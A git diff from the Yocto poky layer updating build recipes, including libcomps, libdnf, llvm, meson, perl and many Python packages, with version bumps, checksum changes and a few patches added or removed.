diff --git a/poky/meta/recipes-devtools/libcomps/libcomps/0001-libcomps-Use-Py_hash_t-instead-of-long-in-PyCOMPS_ha.patch b/poky/meta/recipes-devtools/libcomps/libcomps/0001-libcomps-Use-Py_hash_t-instead-of-long-in-PyCOMPS_ha.patch
deleted file mode 100644
index dd9ebc8af4..0000000000
--- a/poky/meta/recipes-devtools/libcomps/libcomps/0001-libcomps-Use-Py_hash_t-instead-of-long-in-PyCOMPS_ha.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 26a9647c832de15248ee649e5b77075521f3d4f0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Mar 2023 08:37:35 -0800
-Subject: [PATCH] libcomps: Use Py_hash_t instead of long in PyCOMPS_hash()
-
-This function is used as a hashfunc callback in
-_typeobject defined python3.11/cpython/object.h
-compilers detect the protype mismatch for function pointers
-with clang16+
-
-Fixes
-libcomps/src/python/src/pycomps_sequence.c:667:5: error: incompatible function pointer types initializing 'hashfunc' (aka 'int (*)(struct _object *)') with an expression of type 'long (*)(PyObject *)' (aka 'long (*)(struct _object *)') [-Wincompatible-function-pointer-types]
- &PyCOMPS_hash, /*tp_hash */
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/libcomps/pull/101]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libcomps/src/python/src/pycomps_hash.c | 4 ++--
- libcomps/src/python/src/pycomps_hash.h | 2 +-
- libcomps/src/python/src/pycomps_utils.h | 2 +-
- 3 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/libcomps/src/python/src/pycomps_hash.c b/libcomps/src/python/src/pycomps_hash.c
-index 474afd5..4577769 100644
---- a/libcomps/src/python/src/pycomps_hash.c
-+++ b/libcomps/src/python/src/pycomps_hash.c
-@@ -20,9 +20,9 @@
- #include "pycomps_hash.h"
- #include "pycomps_utils.h"
-
--long PyCOMPS_hash(PyObject *self) {
-+Py_hash_t PyCOMPS_hash(PyObject *self) {
- char *cstr = NULL;
-- long crc;
-+ Py_hash_t crc;
-
- cstr = comps_object_tostr(((PyCompsObject*)self)->c_obj);
- crc = crc32(0, cstr, strlen(cstr));
-diff --git a/libcomps/src/python/src/pycomps_hash.h b/libcomps/src/python/src/pycomps_hash.h
-index b664cae..54e08d9 100644
---- a/libcomps/src/python/src/pycomps_hash.h
-+++ b/libcomps/src/python/src/pycomps_hash.h
-@@ -26,6 +26,6 @@
- #include "pycomps_utils.h"
-
-
--long PyCOMPS_hash(PyObject *self);
-+Py_hash_t PyCOMPS_hash(PyObject *self);
-
- #endif
-diff --git a/libcomps/src/python/src/pycomps_utils.h b/libcomps/src/python/src/pycomps_utils.h
-index ba9bc2f..b34e4dc 100644
---- a/libcomps/src/python/src/pycomps_utils.h
-+++ b/libcomps/src/python/src/pycomps_utils.h
-@@ -137,7 +137,7 @@ COMPS_Object* __pycomps_bytes_in(PyObject *pobj);
- PyObject* __pycomps_str_out(COMPS_Object *obj);
- PyObject *str_to_unicode(void* str);
-
--long PyCOMPS_hash(PyObject *self);
-+Py_hash_t PyCOMPS_hash(PyObject *self);
-
- PyObject* PyCOMPSSeq_extra_get(PyObject *self, PyObject *key);
-
---
-2.39.2
-
diff --git a/poky/meta/recipes-devtools/libcomps/libcomps_0.1.19.bb b/poky/meta/recipes-devtools/libcomps/libcomps_0.1.20.bb
index e362e8e108..1f59c5ea1e 100644
--- a/poky/meta/recipes-devtools/libcomps/libcomps_0.1.19.bb
+++ b/poky/meta/recipes-devtools/libcomps/libcomps_0.1.20.bb
@@ -5,11 +5,10 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "git://github.com/rpm-software-management/libcomps.git;branch=master;protocol=https \
- file://0001-libcomps-Use-Py_hash_t-instead-of-long-in-PyCOMPS_ha.patch \
file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
"
-SRCREV = "9322bdcf06630cc094f094f944d7d0e2cb798b73"
+SRCREV = "854fbb9fe733b774981e1ffcf825b2d2ce0f8072"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-devtools/libdnf/libdnf/armarch.patch b/poky/meta/recipes-devtools/libdnf/libdnf/armarch.patch
new file mode 100644
index 0000000000..99eaf1d521
--- /dev/null
+++ b/poky/meta/recipes-devtools/libdnf/libdnf/armarch.patch
@@ -0,0 +1,42 @@
+We change the way rpm architectures work, we make the machine name the default machine
+specific package architecture.
+
+This arm mapping code can work or in the case of qemuarmv5, it doesn't as it creates
+armv5hl which doesn't exist and causes errrors. We can simply remove it, we don't need it.
+
+Upstream-Status: Inappropriate [Relies on OE rpm config]
+
+Index: git/libdnf/hy-util.cpp
+===================================================================
+--- git.orig/libdnf/hy-util.cpp
++++ git/libdnf/hy-util.cpp
+@@ -117,29 +117,6 @@ hy_detect_arch(char **arch)
+ if (uname(&un) < 0)
+ return DNF_ERROR_FAILED;
+
+- if (!strncmp(un.machine, "armv", 4)) {
+- /* un.machine is armvXE, where X is version number and E is
+- * endianness (b or l); we need to add modifiers such as
+- * h (hardfloat), n (neon). Neon is a requirement of armv8 so
+- * as far as rpm is concerned armv8l is the equivilent of armv7hnl
+- * (or 7hnb) so we don't explicitly add 'n' for 8+ as it's expected. */
+- char endian = un.machine[strlen(un.machine)-1];
+- char *modifier = un.machine + 5;
+- while(isdigit(*modifier)) /* keep armv7, armv8, armv9, armv10, armv100, ... */
+- modifier++;
+- if (getauxval(AT_HWCAP) & HWCAP_ARM_VFP)
+- *modifier++ = 'h';
+- if ((atoi(un.machine+4) == 7) && (getauxval(AT_HWCAP) & HWCAP_ARM_NEON))
+- *modifier++ = 'n';
+- *modifier++ = endian;
+- *modifier = 0;
+- }
+-#ifdef __MIPSEL__
+- if (!strcmp(un.machine, "mips"))
+- strcpy(un.machine, "mipsel");
+- else if (!strcmp(un.machine, "mips64"))
+- strcpy(un.machine, "mips64el");
+-#endif
+ *arch = g_strdup(un.machine);
+ return 0;
+ }
diff --git a/poky/meta/recipes-devtools/libdnf/libdnf_0.71.0.bb b/poky/meta/recipes-devtools/libdnf/libdnf_0.72.0.bb
index 396a6664bc..a8685a1604 100644
--- a/poky/meta/recipes-devtools/libdnf/libdnf_0.71.0.bb
+++ b/poky/meta/recipes-devtools/libdnf/libdnf_0.72.0.bb
@@ -10,9 +10,10 @@ SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master;p
file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
file://enable_test_data_dir_set.patch \
file://0001-drop-FindPythonInstDir.cmake.patch \
+ file://armarch.patch \
"
-SRCREV = "39098f39806becdc87cf93e03a49ae89a33e7ede"
+SRCREV = "908dba63c9e18c86a2d81166ce7523559e65338c"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!4\.90)\d+(\.\d+)+)"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-devtools/llvm/llvm_git.bb b/poky/meta/recipes-devtools/llvm/llvm_git.bb
index 934f842b90..de8d411686 100644
--- a/poky/meta/recipes-devtools/llvm/llvm_git.bb
+++ b/poky/meta/recipes-devtools/llvm/llvm_git.bb
@@ -14,14 +14,14 @@ RDEPENDS:${PN}:append:class-target = " ncurses-terminfo"
inherit cmake pkgconfig
-PV = "17.0.2"
+PV = "17.0.5"
MAJOR_VERSION = "${@oe.utils.trim_version("${PV}", 1)}"
LLVM_RELEASE = "${PV}"
BRANCH = "release/${MAJOR_VERSION}.x"
-SRCREV = "481358974fb0f732e33d503c224492a543f4d7bd"
+SRCREV = "98bfdac5ce82d1679f8af9a57501471812ab68d7"
SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH};protocol=https \
file://0007-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2 \
diff --git a/poky/meta/recipes-devtools/meson/meson_1.2.2.bb b/poky/meta/recipes-devtools/meson/meson_1.2.2.bb
index 6a07168ee1..c38d88fe61 100644
--- a/poky/meta/recipes-devtools/meson/meson_1.2.2.bb
+++ b/poky/meta/recipes-devtools/meson/meson_1.2.2.bb
@@ -66,6 +66,8 @@ def generate_native_link_template(d):
loader = 'ld64.so.2'
elif 'loongarch64' in build_arch:
loader = 'ld-linux-loongarch-lp64d.so.1'
+ elif 'riscv64' in build_arch:
+ loader = 'ld-linux-riscv64-lp64d.so.1'
if loader:
val += ['-Wl,--dynamic-linker=@{OECORE_NATIVE_SYSROOT}${base_libdir_native}/' + loader]
diff --git a/poky/meta/recipes-devtools/mmc/mmc-utils_git.bb b/poky/meta/recipes-devtools/mmc/mmc-utils_git.bb
index 2d02927af7..a7e4d369ff 100644
--- a/poky/meta/recipes-devtools/mmc/mmc-utils_git.bb
+++ b/poky/meta/recipes-devtools/mmc/mmc-utils_git.bb
@@ -5,7 +5,7 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://mmc.c;beginline=1;endline=20;md5=fae32792e20f4d27ade1c5a762d16b7d"
SRCBRANCH ?= "master"
-SRCREV = "613495ecaca97a19fa7f8f3ea23306472b36453c"
+SRCREV = "b5ca140312d279ad2f22068fd72a6230eea13436"
PV = "0.1+git"
diff --git a/poky/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch b/poky/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch
new file mode 100644
index 0000000000..86fd42cd3d
--- /dev/null
+++ b/poky/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch
@@ -0,0 +1,77 @@
+From 75d974a58c461b3b5d35280e497810e46abae4ca Mon Sep 17 00:00:00 2001
+From: William Lyu <William.Lyu@windriver.com>
+Date: Wed, 4 Oct 2023 08:58:41 -0400
+Subject: [PATCH] Fix intermittent failure of test t/op/sigsystem.t
+
+[Perl issue #21546] -- https://github.com/Perl/perl5/issues/21546
+
+This fix addresses the intermittent failure of the test
+t/op/sigsystem.t by improving its robustness. Before the fix, this
+test waits a hard-coded amount of time in the parent process for the
+child process to exit, and the child process may not be able to exit
+soon enough. With this fix, the parent process in this test polls for
+whether the SIGCHLD handler reaped the child process for at most 25
+seconds.
+
+Upstream-Status: Backport [commit ID: 75d974a]
+
+Signed-off-by: William Lyu <William.Lyu@windriver.com>
+Signed-off-by: Randy MacLeod <randy.macleod@windriver.com>
+Reported-by: Alexandre Belloni <alexandre.belloni@bootlin.com>
+
+Committer: William Lyu is now a Perl author.
+---
+ AUTHORS | 1 +
+ t/op/sigsystem.t | 17 ++++++++++++++---
+ 2 files changed, 15 insertions(+), 3 deletions(-)
+
+diff --git a/AUTHORS b/AUTHORS
+index 21948bfdc7..527dd992fd 100644
+--- a/AUTHORS
++++ b/AUTHORS
+@@ -1443,6 +1443,7 @@ Wayne Scott <wscott@ichips.intel.com>
+ Wayne Thompson <Wayne.Thompson@Ebay.sun.com>
+ Wilfredo Sánchez <wsanchez@mit.edu>
+ William J. Middleton <William.Middleton@oslo.mobil.telenor.no>
++William Lyu <William.Lyu@windriver.com>
+ William Mann <wmann@avici.com>
+ William Middleton <wmiddlet@adobe.com>
+ William R Ward <hermit@BayView.COM>
+diff --git a/t/op/sigsystem.t b/t/op/sigsystem.t
+index 25da854902..831feefb0f 100644
+--- a/t/op/sigsystem.t
++++ b/t/op/sigsystem.t
+@@ -37,7 +37,15 @@ SKIP: {
+ test_system('with reaper');
+
+ note("Waiting briefly for SIGCHLD...");
+- Time::HiRes::sleep(0.500);
++
++ # Wait at most 50 * 0.500 = 25.0 seconds for the child process to be
++ # reaped. If the child process exits and gets reaped early, this polling
++ # loop will exit early.
++
++ for (1..50) {
++ last if @pids;
++ Time::HiRes::sleep(0.500);
++ }
+
+ ok(@pids == 1, 'Reaped only one process');
+ ok($pids[0] == $pid, "Reaped the right process.") or diag(Dumper(\@pids));
+@@ -50,8 +58,11 @@ sub test_system {
+ my $got_zeroes = 0;
+
+ # This test is looking for a race between system()'s waitpid() and a
+- # signal handler. Looping a few times increases the chances of
+- # catching the error.
++ # signal handler. The system() call is expected to not interfere with the
++ # SIGCHLD signal handler. In particular, the wait() called within system()
++ # is expected to reap the child process forked by system() before the
++ # SIGCHLD signal handler is called.
++ # Looping a few times increases the chances of catching the error.
+
+ for (1..$expected_zeroes) {
+ $got_zeroes++ unless system(TRUE);
+--
+2.25.1
+
diff --git a/poky/meta/recipes-devtools/perl/perl_5.38.0.bb b/poky/meta/recipes-devtools/perl/perl_5.38.0.bb
index 956e4d64d7..639664e355 100644
--- a/poky/meta/recipes-devtools/perl/perl_5.38.0.bb
+++ b/poky/meta/recipes-devtools/perl/perl_5.38.0.bb
@@ -17,6 +17,7 @@ SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
file://0002-Constant-Fix-up-shebang.patch \
file://determinism.patch \
file://0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch \
+ file://0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch \
"
SRC_URI:append:class-native = " \
file://perl-configpm-switch.patch \
diff --git a/poky/meta/recipes-devtools/python/python-testtools.inc b/poky/meta/recipes-devtools/python/python-testtools.inc
index e004d0eb0b..759166d63d 100644
--- a/poky/meta/recipes-devtools/python/python-testtools.inc
+++ b/poky/meta/recipes-devtools/python/python-testtools.inc
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=e2c9d3e8ba7141c83bfef190e0b9379a"
inherit pypi
-SRC_URI[sha256sum] = "28b65e14c0f2d3ecbbfb5f55c9dcde5e4faa80ac16a37a823909a1fe3cbcb30a"
+SRC_URI[sha256sum] = "df6de96010e29ee21f637a147eabf30d50b25e3841dd1d68f93ee89ce77e366c"
DEPENDS += " \
${PYTHON_PN}-pbr \
diff --git a/poky/meta/recipes-devtools/python/python3-babel_2.12.1.bb b/poky/meta/recipes-devtools/python/python3-babel_2.13.1.bb
index 794e1652cd..6908d81326 100644
--- a/poky/meta/recipes-devtools/python/python3-babel_2.12.1.bb
+++ b/poky/meta/recipes-devtools/python/python3-babel_2.13.1.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://babel.edgewall.org/"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0f97d9a63e91407b4c0d01efde91cfc0"
-SRC_URI[sha256sum] = "cc2d99999cd01d44420ae725a21c9e3711b3aadc7976d6147f622d8581963455"
+SRC_URI[sha256sum] = "33e0952d7dd6374af8dbf6768cc4ddf3ccfefc244f9986d4074704f2fbd18900"
PYPI_PACKAGE = "Babel"
diff --git a/poky/meta/recipes-devtools/python/python3-beartype_0.15.0.bb b/poky/meta/recipes-devtools/python/python3-beartype_0.16.4.bb
index 14eda1dd7d..ad4462e0e2 100644
--- a/poky/meta/recipes-devtools/python/python3-beartype_0.15.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-beartype_0.16.4.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "https://beartype.readthedocs.io"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e40b52d8eb5553aa8f705cdd3f979d69"
-SRC_URI[sha256sum] = "2af6a8d8a7267ccf7d271e1a3bd908afbc025d2a09aa51123567d7d7b37438df"
+SRC_URI[sha256sum] = "1ada89cf2d6eb30eb6e156eed2eb5493357782937910d74380918e53c2eae0bf"
inherit setuptools3 pypi
diff --git a/poky/meta/recipes-devtools/python/python3-cffi_1.15.1.bb b/poky/meta/recipes-devtools/python/python3-cffi_1.16.0.bb
index daa290a54e..a351029ef2 100644
--- a/poky/meta/recipes-devtools/python/python3-cffi_1.15.1.bb
+++ b/poky/meta/recipes-devtools/python/python3-cffi_1.16.0.bb
@@ -4,7 +4,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=5677e2fdbf7cdda61d6dd2b57df547bf"
DEPENDS += "libffi ${PYTHON_PN}-pycparser"
-SRC_URI[sha256sum] = "d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"
+SRC_URI[sha256sum] = "bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"
inherit pypi setuptools3
diff --git a/poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.4.bb b/poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.5.bb
index 6b5d8adee9..44c67fdd76 100644
--- a/poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.4.bb
+++ b/poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.5.bb
@@ -9,7 +9,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=8c3617db4fb6fae01f1d253ab91511e4 \
# NOTE: Make sure to keep this recipe at the same version as python3-cryptography
# Upgrade both recipes at the same time
-SRC_URI[sha256sum] = "440af2813ea7aeb52181ec651a36d9ae8f0976e8b3a62b411a800fe6fa57a19e"
+SRC_URI[sha256sum] = "75e82aea2982729312af735adb2983f347bb21fff88ad5dda3673ed70e1d1caf"
PYPI_PACKAGE = "cryptography_vectors"
diff --git a/poky/meta/recipes-devtools/python/python3-cryptography_41.0.4.bb b/poky/meta/recipes-devtools/python/python3-cryptography_41.0.5.bb
index 94977789c8..17b08f05cd 100644
--- a/poky/meta/recipes-devtools/python/python3-cryptography_41.0.4.bb
+++ b/poky/meta/recipes-devtools/python/python3-cryptography_41.0.5.bb
@@ -8,7 +8,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=8c3617db4fb6fae01f1d253ab91511e4 \
"
LDSHARED += "-pthread"
-SRC_URI[sha256sum] = "7febc3094125fc126a7f6fb1f420d0da639f3f32cb15c8ff0dc3997c4549f51a"
+SRC_URI[sha256sum] = "392cb88b597247177172e02da6b7a63deeff1937fa6fec3bbf902ebd75d97ec7"
SRC_URI += "file://0001-pyproject.toml-remove-benchmark-disable-option.patch \
file://0001-Fix-include-directory-when-cross-compiling-9129.patch \
diff --git a/poky/meta/recipes-devtools/python/python3-cython_0.29.36.bb b/poky/meta/recipes-devtools/python/python3-cython_0.29.36.bb
index 78be2b94ed..07638d7ad7 100644
--- a/poky/meta/recipes-devtools/python/python3-cython_0.29.36.bb
+++ b/poky/meta/recipes-devtools/python/python3-cython_0.29.36.bb
@@ -20,17 +20,17 @@ do_install:append() {
PACKAGESPLITFUNCS =+ "cython_fix_sources"
cython_fix_sources () {
- for f in ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Compiler/FlowControl.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Compiler/FusedNode.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Compiler/Scanning.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Compiler/Visitor.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Plex/Actions.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Plex/Scanners.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Runtime/refnanny.c \
- ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython/Tempita/_tempita.c \
+ for f in ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/FlowControl.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/FusedNode.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/Scanning.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/Visitor.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Plex/Actions.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Plex/Scanners.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Runtime/refnanny.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Tempita/_tempita.c \
${PKGD}${libdir}/${PYTHON_DIR}/site-packages/Cython*/SOURCES.txt; do
if [ -e $f ]; then
- sed -i -e 's#${WORKDIR}/Cython-${PV}#/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}#g' $f
+ sed -i -e 's#${WORKDIR}/Cython-${PV}#${TARGET_DBGSRC_DIR}#g' $f
fi
done
}
diff --git a/poky/meta/recipes-devtools/python/python3-git_3.1.36.bb b/poky/meta/recipes-devtools/python/python3-git_3.1.40.bb
index ab1b0f2353..47aa7f09ac 100644
--- a/poky/meta/recipes-devtools/python/python3-git_3.1.36.bb
+++ b/poky/meta/recipes-devtools/python/python3-git_3.1.40.bb
@@ -6,13 +6,13 @@ access with big-files support."
HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
SECTION = "devel/python"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5279a7ab369ba336989dcf2a107e5c8e"
PYPI_PACKAGE = "GitPython"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "4bb0c2a6995e85064140d31a33289aa5dce80133a23d36fcd372d716c54d3ebf"
+SRC_URI[sha256sum] = "22b126e9ffb671fdd0c129796343a02bf67bf2994b35449ffc9321aa755e18a4"
DEPENDS += " ${PYTHON_PN}-gitdb"
diff --git a/poky/meta/recipes-devtools/python/python3-gitdb_4.0.10.bb b/poky/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb
index 3a430c30f0..25e1a2df7e 100644
--- a/poky/meta/recipes-devtools/python/python3-gitdb_4.0.10.bb
+++ b/poky/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb
@@ -10,7 +10,7 @@ inherit pypi setuptools3
PYPI_PACKAGE = "gitdb"
-SRC_URI[sha256sum] = "6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"
+SRC_URI[sha256sum] = "bf5421126136d6d0af55bc1e7c1af1c397a34f5b7bd79e776cd3e89785c2b04b"
RDEPENDS:${PN} += "python3-compression \
python3-crypt \
diff --git a/poky/meta/recipes-devtools/python/python3-hatch-vcs_0.3.0.bb b/poky/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb
index b4db10e767..2e49aba469 100644
--- a/poky/meta/recipes-devtools/python/python3-hatch-vcs_0.3.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb
@@ -7,7 +7,7 @@ inherit pypi python_hatchling
PYPI_PACKAGE = "hatch_vcs"
-SRC_URI[sha256sum] = "cec5107cfce482c67f8bc96f18bbc320c9aa0d068180e14ad317bbee5a153fee"
+SRC_URI[sha256sum] = "093810748fe01db0d451fabcf2c1ac2688caefd232d4ede967090b1c1b07d9f7"
BBCLASSEXTEND = "native nativesdk"
diff --git a/poky/meta/recipes-devtools/python/python3-hypothesis_6.86.2.bb b/poky/meta/recipes-devtools/python/python3-hypothesis_6.89.0.bb
index 6ec1457e46..035809c394 100644
--- a/poky/meta/recipes-devtools/python/python3-hypothesis_6.86.2.bb
+++ b/poky/meta/recipes-devtools/python/python3-hypothesis_6.89.0.bb
@@ -13,7 +13,7 @@ SRC_URI += " \
file://test_rle.py \
"
-SRC_URI[sha256sum] = "e5d75d70f5a4fc372cddf03ec6141237a0a270ed106aeb2156a4984f06d37b0f"
+SRC_URI[sha256sum] = "9168bb12cd29001067e66b5f25f1bbdeff08b80c29c3909e19fc8205d8b9aeed"
RDEPENDS:${PN} += " \
python3-attrs \
diff --git a/poky/meta/recipes-devtools/python/python3-iso8601_2.0.0.bb b/poky/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb
index a8dccb90c7..40ca5177be 100644
--- a/poky/meta/recipes-devtools/python/python3-iso8601_2.0.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://pyiso8601.readthedocs.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=aab31f2ef7ba214a5a341eaa47a7f367"
-SRC_URI[sha256sum] = "739960d37c74c77bd9bd546a76562ccb581fe3d4820ff5c3141eb49c839fda8f"
+SRC_URI[sha256sum] = "6b1d3829ee8921c4301998c909f7829fa9ed3cbdac0d3b16af2d743aed1ba8df"
inherit pypi python_poetry_core
diff --git a/poky/meta/recipes-devtools/python/python3-mako_1.2.4.bb b/poky/meta/recipes-devtools/python/python3-mako_1.3.0.bb
index 9860058723..d180e05cea 100644
--- a/poky/meta/recipes-devtools/python/python3-mako_1.2.4.bb
+++ b/poky/meta/recipes-devtools/python/python3-mako_1.3.0.bb
@@ -2,13 +2,13 @@ SUMMARY = "Templating library for Python"
HOMEPAGE = "http://www.makotemplates.org/"
SECTION = "devel/python"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=ad08dd28df88e64b35bcac27c822ee34"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=fcc01df649aee6c59dcb254c894ea0d4"
PYPI_PACKAGE = "Mako"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "d60a3903dc3bb01a18ad6a89cdbe2e4eadc69c0bc8ef1e3773ba53d44c3f7a34"
+SRC_URI[sha256sum] = "e3a9d388fd00e87043edbe8792f45880ac0114e9c4adc69f6e9bfb2c55e3b11b"
RDEPENDS:${PN} = "${PYTHON_PN}-html \
${PYTHON_PN}-markupsafe \
diff --git a/poky/meta/recipes-devtools/python/python3-markdown_3.4.4.bb b/poky/meta/recipes-devtools/python/python3-markdown_3.5.bb
index 6a7e6f7c3e..1ad3f7828d 100644
--- a/poky/meta/recipes-devtools/python/python3-markdown_3.4.4.bb
+++ b/poky/meta/recipes-devtools/python/python3-markdown_3.5.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://LICENSE.md;md5=745aaad0c69c60039e638bff9ffc59ed"
inherit pypi python_setuptools_build_meta
PYPI_PACKAGE = "Markdown"
-SRC_URI[sha256sum] = "225c6123522495d4119a90b3a3ba31a1e87a70369e03f14799ea9c0d7183a3d6"
+SRC_URI[sha256sum] = "a807eb2e4778d9156c8f07876c6e4d50b5494c5665c4834f67b06459dfd877b3"
BBCLASSEXTEND = "native nativesdk"
diff --git a/poky/meta/recipes-devtools/python/python3-numpy_1.26.0.bb b/poky/meta/recipes-devtools/python/python3-numpy_1.26.2.bb
index 3ae40a33fb..00c09b2995 100644
--- a/poky/meta/recipes-devtools/python/python3-numpy_1.26.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-numpy_1.26.2.bb
@@ -13,7 +13,7 @@ SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
file://fix_reproducibility.patch \
file://run-ptest \
"
-SRC_URI[sha256sum] = "f93fc78fe8bf15afe2b8d6b6499f1c73953169fad1e9a8dd086cdff3190e7fdf"
+SRC_URI[sha256sum] = "f65738447676ab5777f11e6bbbdb8ce11b785e105f690bc45966574816b6d3ea"
GITHUB_BASE_URI = "https://github.com/numpy/numpy/releases"
UPSTREAM_CHECK_REGEX = "releases/tag/v?(?P<pver>\d+(\.\d+)+)$"
diff --git a/poky/meta/recipes-devtools/python/python3-packaging_23.1.bb b/poky/meta/recipes-devtools/python/python3-packaging_23.2.bb
index 53d3522dd7..2d35936615 100644
--- a/poky/meta/recipes-devtools/python/python3-packaging_23.1.bb
+++ b/poky/meta/recipes-devtools/python/python3-packaging_23.2.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/pypa/packaging"
LICENSE = "Apache-2.0 | BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=faadaedca9251a90b205c9167578ce91"
-SRC_URI[sha256sum] = "a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"
+SRC_URI[sha256sum] = "048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"
inherit pypi python_flit_core
diff --git a/poky/meta/recipes-devtools/python/python3-pbr_5.11.1.bb b/poky/meta/recipes-devtools/python/python3-pbr_5.11.1.bb
deleted file mode 100644
index 520dbef8dd..0000000000
--- a/poky/meta/recipes-devtools/python/python3-pbr_5.11.1.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-pbr.inc
-
-SRC_URI[sha256sum] = "aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"
diff --git a/poky/meta/recipes-devtools/python/python3-pbr_6.0.0.bb b/poky/meta/recipes-devtools/python/python3-pbr_6.0.0.bb
new file mode 100644
index 0000000000..6c8171196a
--- /dev/null
+++ b/poky/meta/recipes-devtools/python/python3-pbr_6.0.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-pbr.inc
+
+SRC_URI[sha256sum] = "d1377122a5a00e2f940ee482999518efe16d745d423a670c27773dfbc3c9a7d9"
diff --git a/poky/meta/recipes-devtools/python/python3-pip_23.2.1.bb b/poky/meta/recipes-devtools/python/python3-pip_23.3.1.bb
index c92e2dbd57..3699bdf515 100644
--- a/poky/meta/recipes-devtools/python/python3-pip_23.2.1.bb
+++ b/poky/meta/recipes-devtools/python/python3-pip_23.3.1.bb
@@ -33,7 +33,7 @@ inherit pypi python_setuptools_build_meta
SRC_URI += "file://no_shebang_mangling.patch"
